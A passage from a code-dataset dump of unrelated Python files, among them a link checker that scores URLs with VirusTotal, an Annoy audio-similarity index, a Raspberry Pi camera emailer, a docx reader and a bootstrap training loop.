'y':\n\t\tprint(\"Exiting....\")\n\t\ttime.sleep(1) \n\t\tsys.exit(1)\n\tprint()\n\t\n#create lists\ninitlist=[]\ninit2list=[]\ncomblist=[]\nlistofurls=[]\n\n#use Requests-html lib to verify provided URL is accessible (view error msgs as required)\nprint()\nprint()\nprint('Step 1/4: About to connect to static webpage URL...') \nprint()\ncarryon()\ntry:\n\tsession = HTMLSession()\n\twpobj = session.get(url, headers=hdrs, timeout=10, verify=False)\nexcept:\n\tprint('error establishing session with provided URL')\ntry:\n\tprint('-----> Server response: ',wpobj.status_code)\n\tcontent_type = wpobj.headers['Content-Type'].lower()\n\tprint('-----> Server content: ', content_type)\n\tif wpobj.history:\n\t\tprint('-----> *Webpage entered redirects to: ',wpobj.url)\n\t\tprint('----------> ...main URL updated (continuing)')\n\t\turl = wpobj.url #update test URL to redirected URL\n\tif wpobj.status_code == 200 and content_type is not None and content_type.find('html') > -1:\n\t\tprint()\n\telse:\n\t\tprint('error - improper content /(html/) or response type /(non-200/)')\n\tfor b in wpobj.html.absolute_links:\t\n\t\tif \"//\" in b:\t\t#filter for absolute links \n\t\t\tinitlist.append(b)\t\t#capture resiults in list\nexcept:\n\tprint('error translating server response')\n\tprint()\n\tprint(\"Exiting now....\")\n\ttime.sleep(1) \n\tsys.exit(1)\n\n\n#use Selenium + ChromeDriver to open webpage and render JS -- document any additional absolute links\nprint()\nprint()\nprint('Step 2/4: About to render the URL with a headless browser to record any additional href URLs observed...')\nprint()\ncarryon()\nprint('...this may take a min...')\nprint()\n#config Selenium ChromeDriver options\noptions = webdriver.ChromeOptions()\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument('--incognito')\noptions.add_argument('--headless')\noptions.add_argument('--no-sandbox')\noptions.add_argument('--disable-dev-shm-usage')\ndriver = webdriver.Chrome(chrome_options=options)\n#run Selenium and annotate hrefs\ntry:\n\tdriver.set_page_load_timeout(10)\n\tdriver.get(url)\n\tdriver.execute_script(\"window.scrollTo(0,document.body.scrollHeight);\")\t#scroll to bottom of page\nexcept:\n\tprint('error retrieving webpage')\n\tprint('...Exiting')\n\tdriver.close()\n\tsys.exit(2)\ntry:\n\telems = driver.find_elements_by_xpath(\"//a[@href]\")\t\t#use XPath to search for anchor elements with href tags\nexcept:\n\tprint('error retrieving anchor tags/hrefs')\n\tprint('...Exiting')\n\tdriver.close()\n\tsys.exit(2)\nfor elem in elems:\t\t#extract string/URL from \"href\" atrribute\n\te = elem.get_attribute(\"href\")\n\tinit2list.append(e)\t\n\t\n\t\n#combine lists, parse for absolute links, & dedupe\ncomblist = initlist + init2list\nfor n in comblist:\t\t\n\tif '//' in n:\n\t\tn2 = n.rstrip('/')\t\n\t\tlistofurls.append(n2)\t\nlistofurls = list(dict.fromkeys(listofurls))\t\nprint()\nprint('===============> Number of links found wihtin the webpage: ', len(listofurls))\nprint()\nprint()\n\n\n#use Requests to verify ea additional site is up + annotate any redirects, as found\nprint('Step 3/4: About to verify if each link is accessible and if redirects are observed ...')\nprint()\ncarryon()\nprint('...this may take a min...')\nprint()\nj = 0\ncount = len(listofurls)\nwhile j < count:\n\ta = listofurls[j]\n\tj += 1\n\tprint('URL #%s: %s' % (j, a))\n\ttry:\n\t\tresp = requests.get(a, headers=hdrs, timeout=5, verify=False)\n\t\ttime.sleep(1)\t#pause 1 sec between each request to attempt to avoid potential auto-blacklisting\n\t\trespurl = resp.url.rstrip('/')\n\t\tif resp.history:\n\t\t\ti = 1\n\t\t\tfor rsp in resp.history:\n\t\t\t\trspurl = rsp.url.rstrip('/')\t\n\t\t\t\tif respurl != rspurl:\n\t\t\t\t\tif a != rspurl:\n\t\t\t\t\t\tprint('>----rdr%s: %s' % (i, rspurl))\n\t\t\t\t\t\tlistofurls.append(rspurl)\t\t\t\n\t\t\t\t\t\ti += 1\n\t\t\tif respurl != a:\n\t\t\t\tprint(\">----------final: \", respurl)\n\t\t\t\tlistofurls.append(respurl)\n\texcept:\n\t\tprint('--error retrieving website')\nprint()\nlistofurls = list(dict.fromkeys(listofurls))\t#list cleanup (dedupe)\nprint('===============> TOTAL # links (including redirections): ', len(listofurls))\n\n#use VT Public API to retrieve URL scores\nprint()\nprint()\nprint('Step 4/4: About to generate risk scores for each URL using VirusTotal\\'s Public API...')\ncarryon()\nprint()\nprint('...this may take a few min...')\nprint()\nfor lurl in listofurls:\n\tparams = {'apikey': api_key, 'resource': lurl }\n\twpobj2 = requests.get(vturl, params=params)\n\twpobj2_json = wpobj2.json()\n\ttry:\n\t\tif wpobj2_json['response_code'] !=0:\n\t\t\tprint(lurl)\n\t\t\tprint('----risk score: %s/%s' % (wpobj2_json['positives'], wpobj2_json['total']))\n\t\t\ttime.sleep(15)\t#ensure 15 second timeout to adhere to Public API restrictions of 4 requests per minute\n\t\telse:\n\t\t\tprint(lurl)\n\t\t\tprint('*no score (site not in VT db)')\n\t\t\ttime.sleep(15)\t#ensure 15 second timeout to adhere to Public API restrictions of 4 requests per minute\n\texcept:\n\t\tprint('*site unresponsive or provided abnormal reponse....')\nprint()\nprint()\nprint()\nprint('*************script complete*************')\n","sub_path":"wham.py","file_name":"wham.py","file_ext":"py","file_size_in_byte":9025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"438429349","text":"from openpyxl import load_workbook\nimport re,os,sys\nfrom number2chinese import *\nfrom normalize_utils import *\n\n\ndef read_xlsx(file_name):\n wb = load_workbook(file_name)\n ws = wb.active # 获取特定的 worksheet\n \n rows = ws.rows\n columns = ws.columns\n \n # 行迭代\n content = []\n for idx,row in enumerate(rows):\n line = [col.value for col in row] # ['No', '文章', '問題', '選項1', '選項2', '選項3', '選項4', '正確答案']\n content.append(line)\n \n return content\n\ndef num_to_7digits(num):\n num = str(num)\n new = num\n for idx in range(7-len(num)):\n new = '0' + new\n return new\ndef merge_choice(choices):\n c = ''\n chin = ['一','二','三','四']\n for idx,choice in enumerate(choices):\n c += chin[idx] + ' ' + choice + ' '\n return c\nif __name__ == '__main__':\n kaggle_dir = sys.argv[1]\n output_type = sys.argv[2]\n abc_type = sys.argv[3]\n words_file = sys.argv[4]\n\n xlxs_path = os.path.join(kaggle_dir,'answer.xlsx') \n content = read_xlsx(xlxs_path)\n '''\n ## get all delete_symbols\n texts = ''\n for row in content:\n for idx in [1,2]:\n texts += row[idx]\n texts = strQ2B(texts)\n not_chinese = check_not_chinese(texts)\n print(set(not_chinese) - set(delete_symbols))\n '''\n if output_type == 'text':\n word_list = get_word_list(words_file)\n for idx,row in enumerate(content):\n if idx == 0:\n continue\n No,passage,question,c1,c2,c3,c4 = row[:7]\n No = int(No[1:])\n label = num_to_7digits(No)\n if output_type == 'utt2spk':\n for typ in ['A','B','C']:\n if typ == abc_type.upper():\n print(typ+label,typ+label)\n elif output_type == 'wav.scp':\n for typ in ['A','B','C']:\n wav_path = os.path.join(kaggle_dir,'data/wav/',typ,typ+label+'.wav')\n wav_path = os.path.abspath(wav_path)\n if typ == abc_type.upper():\n print(typ+label,wav_path)\n elif output_type == 'text':\n p = normalize(passage,word_list)\n q = normalize(question,word_list)\n c1 = normalize(str(c1),word_list)\n c2 = normalize(str(c2),word_list)\n c3 = normalize(str(c3),word_list)\n c4 = normalize(str(c4),word_list)\n c = merge_choice([c1,c2,c3,c4])\n for typ,text in [('A',p),('B',q),('C',c)]:\n if typ == abc_type.upper():\n print(typ+label,text)\n \n \n","sub_path":"local/data/data_prep_kaggle3.py","file_name":"data_prep_kaggle3.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"603253117","text":"# coding: utf-8\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport inspect\n\nQUESTION_PREFIX = \"question\"\nANSWER_PREFIX = \"answer\"\n\ndef is_answer(name, obj):\n return name.startswith(ANSWER_PREFIX)\n\ndef is_question(name, obj):\n try:\n return obj.__question_name__.startswith(QUESTION_PREFIX)\n except AttributeError:\n return name.startswith(QUESTION_PREFIX)\n\n\ndef extract_answers(module):\n module_members = inspect.getmembers(module)\n answers = dict(filter(lambda e : is_answer(*e), module_members) )\n return answers\n\ndef extract_questions(module):\n module_members = inspect.getmembers(module)\n questions = dict(filter(lambda e : is_question(*e), module_members) )\n return questions\n\ndef answer_name(question_name):\n n = len(QUESTION_PREFIX)\n suffix = question_name[n:]\n name = ANSWER_PREFIX + suffix\n return name\n\ndef find_answer(question, all_answers):\n question_name = question.__name__\n answer = all_answers.get(answer_name(question_name), None)\n if answer is not None :\n return answer\n else:\n try :\n question_name = question.__question_name__\n answer = all_answers.get(answer_name(question_name), None)\n except AttributeError:\n pass\n return answer\n","sub_path":"teacher/grab.py","file_name":"grab.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"383741522","text":"fname = \"logs/\" + input(\"File Name: \")\nk = 500\nd = {}\nf = open(fname, \"r\")\n\ncounter = 0\nfor line in f:\n if counter != 0:\n line = line.strip()\n line = line.split(\" \")\n d[line[1]] = float(line[2])\n else:\n counter +=1\n\nf.close()\n\n\nd = dict(sorted(d.items(), key=lambda item: item[1], reverse=True))\n\nf = open(fname, \"w\")\nf.write(\"# word avg_score\")\nfor i, key in enumerate(d):\n f.write(\"\\n%d. %s %f\" %(i+1, key, d[key]))\n if(i==k):\n break\nf.close()\n","sub_path":"parse_text.py","file_name":"parse_text.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"492244575","text":"\"\"\"Provide project scoped test fixtures.\"\"\"\nimport signal\nimport subprocess\nimport time\nimport uuid\n\nimport pytest\n\nfrom tests.common import ENGINE_MODULE, TOKEN, URL\nfrom tests.mock_client import TestClient\n\n\n@pytest.fixture(name=\"engine\")\ndef setup_engine():\n \"\"\"Set up engine.\"\"\"\n engine_args = f\"python {ENGINE_MODULE} --dev --debug --token {TOKEN}\"\n process = subprocess.Popen(engine_args.split())\n time.sleep(2) # This is needed to let the engine finish setup.\n yield\n process.send_signal(signal.SIGINT)\n try:\n process.wait(timeout=10)\n except subprocess.TimeoutExpired:\n print(\"Waiting for engine exit timed out\")\n\n\n@pytest.fixture(name=\"client\")\nasync def mock_client(engine, event_loop): # pylint: disable=unused-argument\n \"\"\"Provide a mock client.\"\"\"\n client_id = str(uuid.uuid4())\n session_id = str(uuid.uuid4())\n client = TestClient(URL, client_id, session_id, TOKEN, event_loop)\n await client.connect()\n await client.register_client()\n yield client\n await client.sio.disconnect()\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"646985837","text":"# local_index.py\n\"\"\"\"\n A local index over binary sequences using the Hamming distance\n function in the annoy library\n\n the library requires audio chunks (or whatever object being indexed)\n to be identified by an integer\n\"\"\"\nfrom annoy import AnnoyIndex\nimport io\nimport os\nimport pickle\nimport torch\nimport base64\n\n\nfrom audio_ops import chunks_dir_to_torch_tensor, \\\n chunk_audio, chunks_to_torch_tensor\nfrom constants import ENCODED_BITSEQ_LENGTH, \\\n LOCAL_CHUNK_FILEPATHS, MODEL_SAVE_PATH, \\\n INDEX_DIR, INDEX_SAVE_PATH, ID_MAPPING_SAVE_PATH,\\\n INDEX_NUM_TREES, WAV_CHUNK_SIZE\nfrom custom_exceptions import ModelNotFoundException, \\\n IndexNotFoundException\n\n\ndef create_index():\n print(\"Creating index ...\")\n if not os.path.exists(MODEL_SAVE_PATH):\n raise ModelNotFoundException\n index = initialize_index()\n x = chunks_dir_to_torch_tensor(LOCAL_CHUNK_FILEPATHS)\n id_mapping = int_id_mapping()\n if not os.path.exists(INDEX_DIR):\n os.mkdir(INDEX_DIR)\n with open(ID_MAPPING_SAVE_PATH, 'wb') as handle:\n pickle.dump(dict(id_mapping), handle,\n protocol=pickle.HIGHEST_PROTOCOL)\n binary_enc = run_inference(x)\n print_index_statistics(binary_enc)\n N = binary_enc.size()[0]\n print(f\"Writing {N} binary sequences to index ...\")\n for i in range(N):\n add_to_index(index=index,\n int_id=i,\n bitseq=binary_enc[i])\n print(\"Finished writing to index\")\n build_index(index, INDEX_NUM_TREES)\n save_to_disk(index, INDEX_SAVE_PATH)\n\n\ndef run_search(wav_bytes, n_neighbors=2, top_k=5):\n \"\"\"\n Runs a nearest neighbor search on each chunk of the passed wav bytes.\n Computes a global top_k nearest neighbors across all chunks.\n Returns a descending ordered list of tuples (chunk bytes, distance)\n\n :param wav_bytes:\n :param n_neighbors:\n :param top_k:\n :return:\n \"\"\"\n if not os.path.exists(INDEX_SAVE_PATH):\n raise IndexNotFoundException\n index = load_from_disk(INDEX_SAVE_PATH)\n fp = io.BytesIO(wav_bytes)\n _, chunks = chunk_audio(fp, chunk_size=WAV_CHUNK_SIZE)\n x = chunks_to_torch_tensor(chunks)\n binary_enc = run_inference(x)\n top_k = top_k\n top_k_list = []\n for search_vector in binary_enc:\n neighbors = query_by_vector(index, search_vector, n_neighbors)\n indices, distances = neighbors\n for ix, dist in zip(indices, distances):\n if len(top_k_list) < top_k and (ix, dist) not in top_k_list:\n top_k_list.append((ix, dist))\n top_k_list = sorted(top_k_list, key=lambda e: e[1])\n if dist < top_k_list[-1][1]:\n for j, e in enumerate(top_k_list):\n if dist < e[1] and (ix, dist) not in top_k_list:\n head = top_k_list[:j]\n tail = top_k_list[j+1:] if j < top_k - 1 else []\n top_k_list = head + [(ix, dist)] + tail\n with open(ID_MAPPING_SAVE_PATH, 'rb') as handle:\n id_mapping = pickle.load(handle)\n results = []\n for int_id, distance in top_k_list:\n with open(os.path.join(LOCAL_CHUNK_FILEPATHS, id_mapping[int_id]), 'rb') as chunk:\n chunk_bytes = base64.b64encode(chunk.read()).decode()\n results.append((chunk_bytes, distance))\n return results # list of tuples (chunk bytes, distance)\n\n\ndef run_inference(x):\n model = torch.load(MODEL_SAVE_PATH)\n binary_enc = model.binary_encoding(x)\n return binary_enc\n\n\ndef print_index_statistics(binary_enc):\n _, counts = torch.unique(binary_enc, dim=0, return_counts=True)\n n_unique = counts.size()[0]\n probs = counts * 1. / torch.sum(counts)\n index_entropy = -torch.sum(probs * torch.log(probs))\n print(f\"\"\"\n index statistics:\n entropy: {index_entropy}\n num. unique rows: {n_unique} / {binary_enc.size()[0]}\n \"\"\")\n\n\ndef int_id_mapping():\n chunks = sorted(os.listdir(LOCAL_CHUNK_FILEPATHS))\n return enumerate(chunks)\n\n\ndef initialize_index():\n return AnnoyIndex(ENCODED_BITSEQ_LENGTH, 'hamming')\n\n\ndef build_index(index, n_trees):\n print(\"building index\")\n # no more items can be added once build is called\n index.build(n_trees)\n\n\ndef save_to_disk(index, filename):\n print(\"saving index to disk\")\n # no more items can be added once save is called\n index.save(filename)\n\n\ndef load_from_disk(filename):\n index = AnnoyIndex(ENCODED_BITSEQ_LENGTH, 'hamming')\n index.load(filename)\n return index\n\n\ndef add_to_index(index, int_id, bitseq):\n index.add_item(int_id, bitseq)\n\n\ndef query_by_id(index, int_id, n):\n # query n nearest neighbors passing an id\n return index.get_nns_by_item(int_id, n)\n\n\ndef query_by_vector(index, v, n):\n # query n nearest neighbors passing a vector\n return index.get_nns_by_vector(v, n, include_distances=True)\n\n","sub_path":"local_index.py","file_name":"local_index.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"326988814","text":"import smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom localtime import LocalTime\n# import miniupnpc\nimport json\nimport requests\n\nconf = json.load(open(\"mail_conf.json\"))\nlt = LocalTime()\n# u = miniupnpc.UPnP()\n# u.discoverdelay = 200;\n# u.discover()\n# u.selectigd()\n# exip = u.externalipaddress()\ntry:\n exip = requests.get('https://checkip.amazonaws.com').text.strip()\nexcept requests.exceptions.ConnectionError:\n exip = \"0.0.0.0\"\n\nprint('external ip address:', exip)\n# Email you want to send the update from (only works with gmail)\nfromEmail = conf[\"email1\"]\n# You can generate an app password here to avoid storing your password in plain text\n# https://support.google.com/accounts/answer/185833?hl=en\nfromEmailPassword = conf[\"email1password\"]\n\n# Email you want to send the update to\ntoEmail = conf[\"email2\"]\n\ndef sendEmail(image):\n msgRoot = MIMEMultipart('related')\n timestamp = lt.now()\n ts = timestamp.strftime(\"%Y-%m-%d %I:%M\")\n msgRoot['Subject'] = 'Security Update '+ts\n msgRoot['From'] = fromEmail\n msgRoot['To'] = toEmail\n msgRoot.preamble = 'Raspberry pi security camera update'\n \n msgAlternative = MIMEMultipart('alternative')\n msgRoot.attach(msgAlternative)\n \n plain_text_message = \"Link to view live: http://{}:5000\".format(exip)\n html_message = \"\"\"\\\n \n \n \n

\n Click here to view live\n

\n

\n \n

\n \n \n \"\"\".format(exip)\n part1 = MIMEText(plain_text_message,'plain')\n part2 = MIMEText(html_message,'html')\n msgAlternative.attach(part1)\n msgAlternative.attach(part2)\n \n msgImage = MIMEImage(image)\n msgImage.add_header('Content-ID', '')\n msgRoot.attach(msgImage)\n\n smtp = smtplib.SMTP('smtp.gmail.com', 587)\n smtp.starttls()\n smtp.login(fromEmail, fromEmailPassword)\n smtp.sendmail(fromEmail, toEmail, msgRoot.as_string())\n smtp.quit()\n","sub_path":"mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"644326491","text":"import zipfile\nimport contextlib\nimport os\n\nfrom .. import results, lists\nfrom .xmlparser import parse_xml\nfrom .document_xml import read_document_xml_element\nfrom .content_types_xml import read_content_types_xml_element\nfrom .relationships_xml import read_relationships_xml_element, Relationships\nfrom .numbering_xml import read_numbering_xml_element, Numbering\nfrom .styles_xml import read_styles_xml_element\nfrom .notes_xml import create_footnotes_reader, create_endnotes_reader\nfrom .files import Files\nfrom . import body_xml\n\n\n_namespaces = [\n (\"w\", \"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"),\n (\"wp\", \"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing\"),\n (\"a\", \"http://schemas.openxmlformats.org/drawingml/2006/main\"),\n (\"pic\", \"http://schemas.openxmlformats.org/drawingml/2006/picture\"),\n (\"content-types\", \"http://schemas.openxmlformats.org/package/2006/content-types\"),\n (\"r\", \"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"),\n (\"relationships\", \"http://schemas.openxmlformats.org/package/2006/relationships\"),\n (\"v\", \"urn:schemas-microsoft-com:vml\"),\n (\"mc\", \"http://schemas.openxmlformats.org/markup-compatibility/2006\"),\n]\n\ndef read(fileobj):\n zip_file = zipfile.ZipFile(fileobj)\n body_readers = _body_readers(getattr(fileobj, \"name\"), zip_file)\n \n return _read_notes(zip_file, body_readers).bind(lambda notes:\n _read_document(zip_file, body_readers, notes))\n\n\ndef _read_notes(zip_file, body_readers):\n empty_result = results.success([])\n \n read_footnotes_xml = create_footnotes_reader(body_readers(\"footnotes\"))\n footnotes = _try_read_entry_or_default(\n zip_file, \"word/footnotes.xml\", read_footnotes_xml, default=empty_result)\n \n read_endnotes_xml = create_endnotes_reader(body_readers(\"endnotes\"))\n endnotes = _try_read_entry_or_default(\n zip_file, \"word/endnotes.xml\", read_endnotes_xml, default=empty_result)\n \n return results.combine([footnotes, endnotes]).map(lists.collect)\n \ndef _read_document(zip_file, body_readers, notes):\n with _open_entry(zip_file, \"word/document.xml\") as document_fileobj:\n document_xml = _parse_docx_xml(document_fileobj)\n return read_document_xml_element(\n document_xml,\n body_reader=body_readers(\"document\"),\n notes=notes,\n )\n\n\ndef _body_readers(document_path, zip_file):\n with _open_entry(zip_file, \"[Content_Types].xml\") as content_types_fileobj:\n content_types = read_content_types_xml_element(_parse_docx_xml(content_types_fileobj))\n\n numbering = _try_read_entry_or_default(\n zip_file, \"word/numbering.xml\", read_numbering_xml_element, default=Numbering({}))\n \n with _open_entry(zip_file, \"word/styles.xml\") as styles_fileobj:\n styles = read_styles_xml_element(_parse_docx_xml(styles_fileobj))\n \n def for_name(name):\n relationships_path = \"word/_rels/{0}.xml.rels\".format(name)\n relationships = _try_read_entry_or_default(\n zip_file, relationships_path, read_relationships_xml_element,\n default=Relationships({}))\n \n return body_xml.reader(\n numbering=numbering,\n content_types=content_types,\n relationships=relationships,\n styles=styles,\n docx_file=zip_file,\n files=Files(os.path.dirname(document_path)),\n )\n \n return for_name\n\n\ndef _parse_docx_xml(fileobj):\n return parse_xml(fileobj, _namespaces)\n\n\n@contextlib.contextmanager\ndef _open_entry(zip_file, name):\n entry = zip_file.open(name)\n try:\n yield entry\n finally:\n entry.close()\n\n\ndef _try_read_entry_or_default(zip_file, name, reader, default):\n if _has_entry(zip_file, name):\n with _open_entry(zip_file, name) as fileobj:\n return reader(_parse_docx_xml(fileobj))\n else:\n return default\n\n\ndef _has_entry(zip_file, name):\n try:\n zip_file.getinfo(name)\n return True\n except KeyError:\n return False\n","sub_path":"mammoth/docx/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"387399495","text":"\"\"\"User models. Login only via twitter for now to avoid the whole\nforgot-password/reset-password dance.\n\"\"\"\nimport collections\nimport datetime\nimport random\nimport string\n\nfrom sirius.coding import claiming\n\nfrom sirius.models.db import db\nfrom sirius.models import hardware\n\n\nclass CannotChangeOwner(Exception):\n pass\n\n\nclass ClaimCodeInUse(Exception):\n pass\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n created = db.Column(db.DateTime, default=datetime.datetime.utcnow)\n api_key = db.Column(db.String)\n\n # username can't be unique because we may have multiple identity\n # providers. For now we just copy the twitter handle.\n username = db.Column(db.String)\n twitter_oauth = db.relationship(\n \"TwitterOAuth\", uselist=False, backref=db.backref(\"user\")\n )\n\n def __repr__(self):\n return \"User {}\".format(self.username)\n\n # Flask-login interface:\n @property\n def is_active(self):\n return True\n\n @property\n def is_authenticated(self):\n return True\n\n def get_id(self):\n return self.id\n\n def generate_api_key(self):\n self.api_key = \"\".join(\n random.choice(string.ascii_letters + string.digits) for _ in range(32)\n )\n\n def claim_printer(self, claim_code, name):\n \"\"\"Claiming can happen before the printer \"calls home\" for the first\n time so we need to be able to deal with that.\"\"\"\n\n # TODO(tom): This method probably belongs to printer, not\n # user. Move at some point.\n\n claim_code = claiming.canonicalize(claim_code)\n\n hcc = hardware.ClaimCode.query.filter_by(claim_code=claim_code).first()\n hardware_xor, _ = claiming.process_claim_code(claim_code)\n\n if hcc is not None and hcc.by != self:\n raise ClaimCodeInUse(\n \"Claim code {} already claimed by {}\".format(claim_code, hcc.by)\n )\n\n if hcc is None:\n hcc = hardware.ClaimCode(\n by_id=self.id,\n hardware_xor=hardware_xor,\n claim_code=claim_code,\n name=name,\n )\n db.session.add(hcc)\n else:\n # we already have a claim code, don't do anything.\n pass\n\n # Check whether we've seen this printer and if so: connect it\n # to claim code and make it \"owned\" but *only* if it does not\n # have an owner yet.\n printer_query = hardware.Printer.query.filter_by(hardware_xor=hardware_xor)\n printer = printer_query.first()\n if printer is None:\n return\n\n if printer.owner is not None and printer.owner != self:\n raise CannotChangeOwner(\n \"Printer {} already owned by {}. Cannot claim for {}.\".format(\n printer, printer.owner, self\n )\n )\n\n assert printer_query.count() == 1, \"hardware xor collision: {}\".format(\n hardware_xor\n )\n\n printer.used_claim_code = claim_code\n printer.hardware_xor = hardware_xor\n printer.owner_id = hcc.by_id\n printer.name = name\n db.session.add(printer)\n return printer\n\n\nclass TwitterOAuth(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n created = db.Column(db.DateTime, default=datetime.datetime.utcnow)\n user_id = db.Column(db.Integer, db.ForeignKey(User.id))\n screen_name = db.Column(db.String, unique=True)\n\n token = db.Column(db.String)\n token_secret = db.Column(db.String)\n","sub_path":"sirius/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"96721408","text":"from django.conf.urls import url\n\nfrom .views import (\n\tPartyListListView,\n\tPartyListDetailView,\n\tPartyListCreateView,\n\tPartyListUpdateView\n\t)\n\nurlpatterns = [\n\turl(r'^$', PartyListListView.as_view(), name='list'),\n\turl(r'^create/$', PartyListCreateView.as_view(), name='create'),\n\turl(r'^(?P[\\w-]+)/$', PartyListUpdateView.as_view(), name='edit')\n]","sub_path":"src/partylists/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"629881545","text":"class Node:\n def __init__(self,data):\n self.data=data\n self.left=None \n self.right=None\n\nclass Height:\n def __init__(self):\n self.h=None\n \ndef diameterOpt(root,height):\n lh=Height()\n rh=Height()\n \n if root is None:\n height.h=0\n return 0\n \n ldiameter=diameterOpt(root.left,lh)\n rdiameter=diameterOpt(root.right,rh)\n \n height.h=max(lh.h,rh.h)+1\n \n return max(lh.h+rh.h+1,max(ldiameter,rdiameter))\n \ndef diameter(root):\n height=Height()\n return diameterOpt(root,height)\n \nroot=Node(1)\nroot.left=Node(2)\nroot.right=Node(3)\nroot.left.left=Node(4)\nroot.left.right=Node(5)\nprint(diameter(root))","sub_path":"Tree/Diameter of a tree.py","file_name":"Diameter of a tree.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"557462492","text":"\n\nfrom xai.brain.wordbase.nouns._beef import _BEEF\n\n#calss header\nclass _BEEFING(_BEEF, ):\n\tdef __init__(self,): \n\t\t_BEEF.__init__(self)\n\t\tself.name = \"BEEFING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"beef\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_beefing.py","file_name":"_beefing.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"558427623","text":"\"\"\"\n1. while loop\n2. collect dataset with julia\n - initial collection without network\n - subsequently with filepath to network\n - each with output filepath for dataset\n3. train a network to convergence on that dataset\n - load flags from run_compression.py\n - then just do a normal tf setup where you frun fit on each dataset\n\"\"\"\n\nimport numpy as np\nimport os\nimport subprocess\nimport sys\nimport tensorflow as tf\n\npath = os.path.join(os.path.dirname(__file__), os.pardir)\nsys.path.append(os.path.abspath(path))\n\nimport compression.run_compression\nimport dataset\nimport dataset_loaders\nimport neural_networks.feed_forward_neural_network as ffnn\nimport neural_networks.utils\n\ndef generate_dataset(flags, dataset_filepath, network_filepath):\n # if this is the first dataset, then collect a basic dataset\n evaluator_type = 'base' if network_filepath == 'none' else 'bootstrap'\n proc_string = '-p {}'.format(flags.num_proc) if flags.num_proc > 1 else ''\n # format the subprocess command\n cmd = 'julia {} run_collect_heuristic_dataset.jl --evaluator_type {} --output_filepath {} --network_filepath {} --initial_seed {} '.format(\n proc_string, evaluator_type, dataset_filepath, network_filepath, \n flags.initial_seed)\n # append all of the command line arguments not used in flags, because they \n # must then have been intended for the dataset collection process\n for idx in range(1, len(sys.argv) - 1, 2):\n arg, val = sys.argv[idx], sys.argv[idx + 1]\n\n # pass all the arguments to julia, the invalid ones will be ignored\n if len(arg) > 2:\n parsed_arg = arg[2:]\n cmd += arg + ' ' + val + ' '\n\n print(cmd)\n\n # call the julia process to collect the dataset\n subprocess.call(cmd, shell=True, stderr=subprocess.STDOUT)\n\ndef main(argv=None):\n # use the flags from regular compression\n FLAGS = compression.run_compression.FLAGS\n\n # set random seeds\n np.random.seed(FLAGS.random_seed)\n tf.set_random_seed(FLAGS.random_seed)\n\n # set up training constants\n basedir = os.path.split(FLAGS.dataset_filepath)[0]\n if not os.path.exists(basedir):\n os.mkdir(basedir)\n dataset_filepath_template = os.path.join(basedir, 'iter_{}.h5')\n basedir = os.path.split(FLAGS.julia_weights_filepath)[0]\n if not os.path.exists(basedir):\n os.mkdir(basedir)\n network_filepath_template = os.path.join(basedir, 'iter_{}.weights')\n\n # need some way to convey to the dataset collector the seed at which it \n # should begin collection. Accomplish this by tracking the value in flags\n FLAGS.initial_seed = 1\n\n # create the model then repeatedly collect and fit datasets\n with tf.Session() as session:\n\n # build the network to use throughout training\n network = ffnn.FeedForwardNeuralNetwork(session, FLAGS)\n\n # none signifies non bootstrap dataset \n network_filepath = FLAGS.initial_network_filepath\n\n for bootstrap_iter in range(FLAGS.bootstrap_iterations):\n \n # generate a dataset\n dataset_filepath = dataset_filepath_template.format(bootstrap_iter)\n generate_dataset(FLAGS, dataset_filepath, network_filepath)\n\n # load in the dataset\n data = dataset_loaders.risk_dataset_loader(dataset_filepath,\n normalize=True, shuffle=True, train_split=.9, \n debug_size=FLAGS.debug_size)\n d = dataset.Dataset(data, FLAGS)\n\n # fit the network to the dataset\n network.fit(d)\n\n # save weights to a julia-compatible weight file for next iteration\n network_filepath = network_filepath_template.format(bootstrap_iter)\n neural_networks.utils.save_trainable_variables(\n network_filepath, session, data)\n\n # increment the initial seed by the number of scenarios simulated \n # during each collection iteration\n FLAGS.initial_seed += FLAGS.num_scenarios\n\nif __name__ == '__main__':\n 